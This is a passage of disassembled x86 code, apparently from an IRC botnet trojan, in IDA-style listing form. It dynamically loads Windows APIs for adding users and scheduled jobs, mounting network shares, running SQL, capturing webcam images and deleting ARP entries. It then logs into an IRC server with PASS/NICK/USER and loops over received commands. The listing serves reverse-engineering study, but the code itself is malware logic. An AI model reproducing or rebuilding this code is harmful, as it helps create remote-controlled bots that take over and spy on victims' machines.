					; sub_4012D6+886j ...
		mov	dword_44428C, 1


loc_401BA0:				; CODE XREF: sub_4012D6+8BEj
		cmp	ecx, ebx
		jz	short loc_401BD5
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_444254, eax
		jnz	short loc_401BD5
		jmp	short loc_401BCF
; ---------------------------------------------------------------------------


loc_401BBA:				; CODE XREF: sub_4012D6+7EAj
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_444290, eax
		mov	dword_44428C, 1


loc_401BCF:				; CODE XREF: sub_4012D6+8E2j
		mov	dword_444254, ebx


loc_401BD5:				; CODE XREF: sub_4012D6+8CCj
					; sub_4012D6+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401C1F
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_444158, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_44418C, eax
		call	esi	; GetProcAddress
		cmp	dword_444158, ebx
		mov	dword_4441F4, eax
		jz	short loc_401C2A
		cmp	dword_44418C, ebx
		jz	short loc_401C2A
		cmp	eax, ebx
		jnz	short loc_401C34
		jmp	short loc_401C2A
; ---------------------------------------------------------------------------


loc_401C1F:				; CODE XREF: sub_4012D6+90Aj
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_444298, eax


loc_401C2A:				; CODE XREF: sub_4012D6+939j
					; sub_4012D6+941j ...
		mov	dword_444294, 1


loc_401C34:				; CODE XREF: sub_4012D6+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401D3B
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4440E8, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_444104, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_44420C, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4440A8, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_444140, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_44406C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4440C8, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4441D4, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4440E0, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4440EC, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_444114, eax
		call	esi	; GetProcAddress
		cmp	dword_4440E8, ebx
		mov	dword_4440DC, eax
		jz	short loc_401D46
		cmp	dword_444104, ebx
		jz	short loc_401D46
		cmp	dword_44420C, ebx
		jz	short loc_401D46
		cmp	dword_4440A8, ebx
		jz	short loc_401D46
		cmp	dword_444140, ebx
		jz	short loc_401D46
		cmp	dword_44406C, ebx
		jz	short loc_401D46
		cmp	dword_4440C8, ebx
		jz	short loc_401D46
		cmp	dword_4441D4, ebx
		jz	short loc_401D46
		cmp	dword_4440E0, ebx
		jz	short loc_401D46
		cmp	dword_4440EC, ebx
		jz	short loc_401D46
		cmp	dword_444114, ebx
		jnz	short loc_401D50
		jmp	short loc_401D46
; ---------------------------------------------------------------------------


loc_401D3B:				; CODE XREF: sub_4012D6+969j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_4442A0, eax


loc_401D46:				; CODE XREF: sub_4012D6+A11j
					; sub_4012D6+A19j ...
		mov	dword_44429C, 1


loc_401D50:				; CODE XREF: sub_4012D6+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401D85
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4441F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4441F0, ebx
		mov	dword_44416C, eax
		jz	short loc_401D90
		cmp	eax, ebx
		jnz	short loc_401D9A
		jmp	short loc_401D90
; ---------------------------------------------------------------------------


loc_401D85:				; CODE XREF: sub_4012D6+A85j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_4442A8, eax


loc_401D90:				; CODE XREF: sub_4012D6+AA7j
					; sub_4012D6+AADj
		mov	dword_4442A4, 1


loc_401D9A:				; CODE XREF: sub_4012D6+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401DCF
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_44410C, eax
		call	esi	; GetProcAddress
		cmp	dword_44410C, ebx
		mov	dword_444174, eax
		jz	short loc_401DDA
		cmp	eax, ebx
		jnz	short loc_401DE4
		jmp	short loc_401DDA
; ---------------------------------------------------------------------------


loc_401DCF:				; CODE XREF: sub_4012D6+ACFj
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_4442B0, eax


loc_401DDA:				; CODE XREF: sub_4012D6+AF1j
					; sub_4012D6+AF7j
		mov	dword_4442AC, 1


loc_401DE4:				; CODE XREF: sub_4012D6+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401E43
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4441AC, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_444240, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4440D8, eax
		call	esi	; GetProcAddress
		cmp	dword_4441AC, ebx
		mov	dword_444090, eax
		jz	short loc_401E4E
		cmp	dword_444240, ebx
		jz	short loc_401E4E
		cmp	dword_4440D8, ebx
		jz	short loc_401E4E
		cmp	eax, ebx
		jnz	short loc_401E58
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------


loc_401E43:				; CODE XREF: sub_4012D6+B19j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_4442B8, eax


loc_401E4E:				; CODE XREF: sub_4012D6+B55j
					; sub_4012D6+B5Dj ...
		mov	dword_4442B4, 1


loc_401E58:				; CODE XREF: sub_4012D6+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401E8D
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_444214, eax
		call	esi	; GetProcAddress
		cmp	dword_444214, ebx
		mov	dword_4440D0, eax
		jz	short loc_401E98
		cmp	eax, ebx
		jnz	short loc_401EA2
		jmp	short loc_401E98
; ---------------------------------------------------------------------------


loc_401E8D:				; CODE XREF: sub_4012D6+B8Dj
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_4442C0, eax


loc_401E98:				; CODE XREF: sub_4012D6+BAFj
					; sub_4012D6+BB5j
		mov	dword_4442BC, 1


loc_401EA2:				; CODE XREF: sub_4012D6+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401F2B
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4441F8, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4440B4, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_444210, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_444128, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4441BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4441F8, ebx
		mov	dword_4440C4, eax
		jz	short loc_401F36
		cmp	dword_4440B4, ebx
		jz	short loc_401F36
		cmp	dword_444210, ebx
		jz	short loc_401F36
		cmp	dword_444128, ebx
		jz	short loc_401F36
		cmp	dword_4441BC, ebx
		jz	short loc_401F36
		cmp	eax, ebx
		jnz	short loc_401F40
		jmp	short loc_401F36
; ---------------------------------------------------------------------------


loc_401F2B:				; CODE XREF: sub_4012D6+BD7j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_4442C8, eax


loc_401F36:				; CODE XREF: sub_4012D6+C2Dj
					; sub_4012D6+C35j ...
		mov	dword_4442C4, 1


loc_401F40:				; CODE XREF: sub_4012D6+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_401F75
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_444138, eax
		call	esi	; GetProcAddress
		cmp	dword_444138, ebx
		mov	dword_44419C, eax
		jz	short loc_401F80
		cmp	eax, ebx
		jnz	short loc_401F8A
		jmp	short loc_401F80
; ---------------------------------------------------------------------------


loc_401F75:				; CODE XREF: sub_4012D6+C75j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	dword_4442D0, eax


loc_401F80:				; CODE XREF: sub_4012D6+C97j
					; sub_4012D6+C9Dj
		mov	dword_4442CC, 1


loc_401F8A:				; CODE XREF: sub_4012D6+C9Bj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_4012D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401F92(int,char *Str,int,int)

sub_401F92	proc near		; CODE XREF: sub_40274D+2349p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+Str]
		push	esi
		xor	esi, esi
		cmp	dword_444264, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_401FDA
		push	dword_444268
		lea	eax, [ebp+Dest]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_401FDA:				; CODE XREF: sub_401F92+1Aj
		cmp	dword_44426C, esi
		jz	short loc_40200E
		push	dword_444270
		lea	eax, [ebp+Dest]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_40200E:				; CODE XREF: sub_401F92+4Ej
		cmp	dword_444274, esi
		jz	short loc_402042
		push	dword_444278
		lea	eax, [ebp+Dest]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_402042:				; CODE XREF: sub_401F92+82j
		cmp	dword_44427C, esi
		jz	short loc_402076
		push	dword_444280
		lea	eax, [ebp+Dest]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_402076:				; CODE XREF: sub_401F92+B6j
		cmp	dword_444284, esi
		jz	short loc_4020AA
		push	dword_444288
		lea	eax, [ebp+Dest]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_4020AA:				; CODE XREF: sub_401F92+EAj
		cmp	dword_44428C, esi
		jz	short loc_4020DE
		push	dword_444290
		lea	eax, [ebp+Dest]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_4020DE:				; CODE XREF: sub_401F92+11Ej
		cmp	dword_444294, esi
		jz	short loc_402112
		push	dword_444298
		lea	eax, [ebp+Dest]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_402112:				; CODE XREF: sub_401F92+152j
		cmp	dword_44429C, esi
		jz	short loc_402146
		push	dword_4442A0
		lea	eax, [ebp+Dest]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_402146:				; CODE XREF: sub_401F92+186j
		cmp	dword_4442A4, esi
		jz	short loc_40217A
		push	dword_4442A8
		lea	eax, [ebp+Dest]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_40217A:				; CODE XREF: sub_401F92+1BAj
		cmp	dword_4442AC, esi
		jz	short loc_4021AE
		push	dword_4442B0
		lea	eax, [ebp+Dest]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_4021AE:				; CODE XREF: sub_401F92+1EEj
		cmp	dword_4442B4, esi
		jz	short loc_4021E2
		push	dword_4442B8
		lea	eax, [ebp+Dest]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_4021E2:				; CODE XREF: sub_401F92+222j
		cmp	dword_4442BC, esi
		jz	short loc_402216
		push	dword_4442C0
		lea	eax, [ebp+Dest]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_402216:				; CODE XREF: sub_401F92+256j
		cmp	dword_4442C4, esi
		jz	short loc_40224A
		push	dword_4442C8
		lea	eax, [ebp+Dest]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_40224A:				; CODE XREF: sub_401F92+28Aj
		cmp	dword_4442CC, esi
		jz	short loc_40227E
		push	dword_4442D0
		lea	eax, [ebp+Dest]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h


loc_40227E:				; CODE XREF: sub_401F92+2BEj
		lea	eax, [ebp+Dest]
		push	offset asc_42BF4C ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4022AB
		push	esi		; int
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_4022AB:				; CODE XREF: sub_401F92+302j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401F92	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022BD	proc near		; CODE XREF: sub_4025EF+136p
					; sub_40274D+59AFp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_44417C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_4022E5
		push	[esp+arg_0]
		call	dword_444168	; gethostbyname
		test	eax, eax
		jnz	short loc_4022DE
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4022DE:				; CODE XREF: sub_4022BD+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_4022E5:				; CODE XREF: sub_4022BD+Dj
		retn
sub_4022BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022E6	proc near		; CODE XREF: sub_4025EF+A2p
		mov	ecx, dword_4441F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_4022F4
		jmp	ecx
; ---------------------------------------------------------------------------

locret_4022F4:				; CODE XREF: sub_4022E6+Aj
		retn
sub_4022E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_4022F5	proc near		; CODE XREF: sub_40274D:loc_4049BFp

Dest		= byte ptr -88h
Size		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	ebx
		lea	eax, [ebp+78h+Size]
		xor	edi, edi
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+78h+Size],	edi
		mov	[ebp+78h+var_4], ebx
		call	dword_44410C	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40237B
		sub	ecx, 32h
		jz	loc_4023C2
		sub	ecx, 48h
		jz	short loc_402350
		sub	ecx, 6Eh
		jz	short loc_402349


loc_402335:				; CODE XREF: sub_4022F5+84j
		push	eax
		lea	eax, [ebp+78h+Dest]
		push	offset asc_42C160 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4023A3
; ---------------------------------------------------------------------------


loc_402349:				; CODE XREF: sub_4022F5+3Ej
		push	offset unk_42C13C
		jmp	short loc_402398
; ---------------------------------------------------------------------------


loc_402350:				; CODE XREF: sub_4022F5+39j
		push	[ebp+78h+Size]	; Size
		call	_malloc
		push	[ebp+78h+Size]	; Size
		mov	esi, eax
		push	edi		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_402393
		push	ebx
		lea	eax, [ebp+78h+Size]
		push	eax
		push	esi
		call	dword_44410C	; GetIpNetTable
		cmp	eax, edi
		jnz	short loc_402335


loc_40237B:				; CODE XREF: sub_4022F5+2Bj
		cmp	[esi], edi
		jbe	short loc_4023B0
		lea	ebx, [esi+4]


loc_402382:				; CODE XREF: sub_4022F5+9Aj
		push	ebx
		call	dword_444174	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_402382
		jmp	short loc_4023B0
; ---------------------------------------------------------------------------


loc_402393:				; CODE XREF: sub_4022F5+74j
		push	offset asc_42C10C ; "-"


loc_402398:				; CODE XREF: sub_4022F5+59j
					; sub_4022F5+D2j
		lea	eax, [ebp+78h+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4023A3:				; CODE XREF: sub_4022F5+52j
		lea	eax, [ebp+78h+Dest]
		push	eax
		mov	[ebp+78h+var_4], edi
		call	sub_417D70
		pop	ecx


loc_4023B0:				; CODE XREF: sub_4022F5+88j
					; sub_4022F5+9Cj
		push	esi		; Memory
		call	_free
		mov	eax, [ebp+78h+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 78h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4023C2:				; CODE XREF: sub_4022F5+30j
		push	offset unk_42C0DC
		jmp	short loc_402398
sub_4022F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023C9	proc near		; CODE XREF: sub_40274D+2037p
					; sub_40274D+2162p ...

Dst		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		push	eax		; Size
		mov	[ebp+var_4], eax
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_444068	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		mov	esi, offset Dest
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4023C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_402422	proc near		; CODE XREF: sub_415825+29Fp
					; sub_415825+2D9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_40244D
		lea	eax, [ecx-2]
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+4+arg_0]
		push	edi


loc_402440:				; CODE XREF: sub_402422+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_402440
		pop	edi
		jmp	short loc_402451
; ---------------------------------------------------------------------------


loc_40244D:				; CODE XREF: sub_402422+Aj
		mov	esi, [esp+4+arg_0]


loc_402451:				; CODE XREF: sub_402422+29j
		test	ecx, ecx
		jz	short loc_40245A
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_40245A:				; CODE XREF: sub_402422+31j
		mov	ecx, edx
		shr	ecx, 10h
		and	edx, 0FFFFh
		add	ecx, edx
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		pop	esi
		retn
sub_402422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=58h


sub_402472	proc near		; CODE XREF: sub_4025EF+E0p

Dst		= byte ptr -1A90h
var_A90		= dword	ptr -0A90h
Str1		= byte ptr -2C0h
var_140		= dword	ptr -140h
Str		= byte ptr -0A0h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	eax, 1A90h
		lea	ebp, [esp-58h]
		call	__alloca_probe
		push	esi
		xor	esi, esi
		push	3
		mov	[ebp+58h+var_8], esi
		lea	eax, [ebp+58h+Str1]
		pop	ecx


loc_402490:				; CODE XREF: sub_402472+27j
		mov	byte ptr [eax],	0
		add	eax, 80h
		dec	ecx
		jnz	short loc_402490
		cmp	byte_4D1FD8, 0
		jz	short loc_4024B9
		push	offset byte_4D1FD8 ; Args
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+58h+arg_0]	; int
		call	sub_4011F5
		add	esp, 0Ch


loc_4024B9:				; CODE XREF: sub_402472+30j
		push	[ebp+58h+Source]
		lea	eax, [ebp+58h+Dest]
		push	esi		; Str1
		push	esi		; int
		push	2		; int
		push	eax		; Dest
		call	sub_40AB83
		add	esp, 10h
		push	eax
		push	[ebp+58h+Source]
		lea	eax, [ebp+58h+Str]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+58h+Str]
		push	esi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+58h+Str]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40251A
		push	[ebp+58h+arg_0]
		call	dword_444218	; closesocket
		push	1388h
		call	ds:dword_42B014	; Sleep
		xor	eax, eax
		jmp	loc_4025E9
; ---------------------------------------------------------------------------


loc_40251A:				; CODE XREF: sub_402472+8Bj
		push	ebx
		push	edi
		mov	ebx, 1000h
		jmp	loc_4025B0
; ---------------------------------------------------------------------------


loc_402526:				; CODE XREF: sub_402472+163j
		lea	eax, [ebp+58h+var_A90]
		push	eax		; int
		lea	eax, [ebp+58h+Dst]
		push	eax		; Str
		call	sub_41AC0E
		cmp	eax, esi
		pop	ecx
		pop	ecx
		mov	[ebp+58h+var_C], eax
		mov	[ebp+58h+var_4], esi
		jle	short loc_4025B0
		lea	edi, [ebp+58h+var_A90]


loc_40254B:				; CODE XREF: sub_402472+13Aj
		xor	esi, esi
		inc	esi


loc_40254E:				; CODE XREF: sub_402472+11Dj
		push	[ebp+58h+arg_1C] ; int
		lea	eax, [ebp+58h+var_8]
		push	esi		; int
		push	eax		; int
		lea	eax, [ebp+58h+var_140]
		push	eax		; int
		lea	eax, [ebp+58h+Str1]
		push	eax		; Str1
		push	[ebp+58h+arg_18] ; int
		push	[ebp+58h+Source] ; Source
		push	[ebp+58h+arg_8]	; int
		push	[ebp+58h+arg_4]	; int
		push	[ebp+58h+arg_0]	; int
		push	dword ptr [edi]	; int
		call	sub_40274D
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		test	esi, esi
		jle	short loc_402591
		push	7D0h
		call	ds:dword_42B014	; Sleep
		jmp	short loc_40254E
; ---------------------------------------------------------------------------


loc_402591:				; CODE XREF: sub_402472+110j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_4025E4
		cmp	esi, 0FFFFFFFEh
		jz	short loc_4025DF
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4025DB
		inc	[ebp+58h+var_4]
		mov	eax, [ebp+58h+var_4]
		add	edi, 4
		cmp	eax, [ebp+58h+var_C]
		jl	short loc_40254B
		xor	esi, esi


loc_4025B0:				; CODE XREF: sub_402472+AFj
					; sub_402472+D1j
		push	ebx		; Size
		lea	eax, [ebp+58h+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	esi
		push	ebx
		lea	eax, [ebp+58h+Dst]
		push	eax
		push	[ebp+58h+arg_0]
		call	dword_444064	; recv
		test	eax, eax
		jg	loc_402526


loc_4025DB:				; CODE XREF: sub_402472+12Cj
		xor	eax, eax
		jmp	short loc_4025E7
; ---------------------------------------------------------------------------


loc_4025DF:				; CODE XREF: sub_402472+127j
		xor	eax, eax
		inc	eax
		jmp	short loc_4025E7
; ---------------------------------------------------------------------------


loc_4025E4:				; CODE XREF: sub_402472+122j
		push	2
		pop	eax


loc_4025E7:				; CODE XREF: sub_402472+16Bj
					; sub_402472+170j
		pop	edi
		pop	ebx


